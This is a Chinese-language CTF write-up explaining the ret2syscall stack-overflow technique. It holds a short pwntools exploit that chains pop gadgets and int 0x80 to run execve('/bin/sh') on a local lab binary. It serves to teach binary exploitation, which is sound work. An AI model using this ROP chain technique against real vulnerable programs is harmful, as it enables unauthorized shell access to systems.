ret2syscall

ret2syscall,即控制程序执行系统调用,获取shell。

关键在于——程序中存在int 0x80中断,通过该指令可以进行系统调用,其中可通过不同的系统调用号调用不同的系统调用。

一般地,我们利用如下系统调用来获取shell:

1
execve("/bin/sh",NULL,NULL)

当遇到32位程序时,需要使得:

  • 系统调用号,即 eax 应该为 0xb(0xb 为 execve 对应的系统调用号)
  • 第一个参数,即 ebx 应该指向 /bin/sh 的地址,其实执行 sh 的地址也可以。
  • 第二个参数,即 ecx 应该为 0
  • 第三个参数,即 edx 应该为 0

而我们如何控制这些寄存器的值呢?这里就需要使用 gadgets。比如说,现在栈顶是 10,那么如果此时执行了 pop eax,那么现在 eax 的值就为 10。但是我们并不能期待有一段连续的代码可以同时控制对应的寄存器,所以我们需要一段一段控制,这也是我们在 gadgets 最后使用 ret 来再次控制程序执行流程的原因。具体寻找 gadgets 的方法,我们可以使用 ropgadgets 这个工具。

解题过程

先运行程序查看基本功能,并file看到是静态链接文件,和libc无关:

checksec发现只开启了NX:

打开IDA看到存在gets()即存在栈溢出风险,且IDA中给出变量v4相对于ESP和EBP的偏移分别为ESP+1Ch和EBP-64h:

查看String窗口,发现存在“/bin/sh”字符串:

当然还可以使用ROPgadget工具搜索,直接找到“/bin/sh”字符串的存储地址,记下该字符串地址为0x080be408:

因为是静态链接,不用看libc相关函数,而且函数太多了,直接搜索系统调用吧,记下系统调用的地址为0x08049421:

接着寻找pop eax~edx+ret寄存器的指令,记下符合条件的地址分别为0x080bb196和0x0806eb90:

至于v4变量到函数返回地址处的偏移量和前面几个题目的计算方法即结果都是一样的,这里不再多说。

编写payload:

1
2
3
4
5
6
7
8
9
10
from pwn import *

sh = process("./ret2syscall")
int_80_addr = 0x08049421
binsh = 0x080be408
pop_eax_addr = 0x080bb196
pop_edx_ecx_ebx_addr = 0x0806eb90
payload = flat(["A" * 0x70, pop_edx_ecx_ebx_addr, 0, 0, binsh, pop_eax_addr, 0xb, int_80_addr])
sh.sendline(payload)
sh.interactive()

运行后getshell:

参考

ret2syscall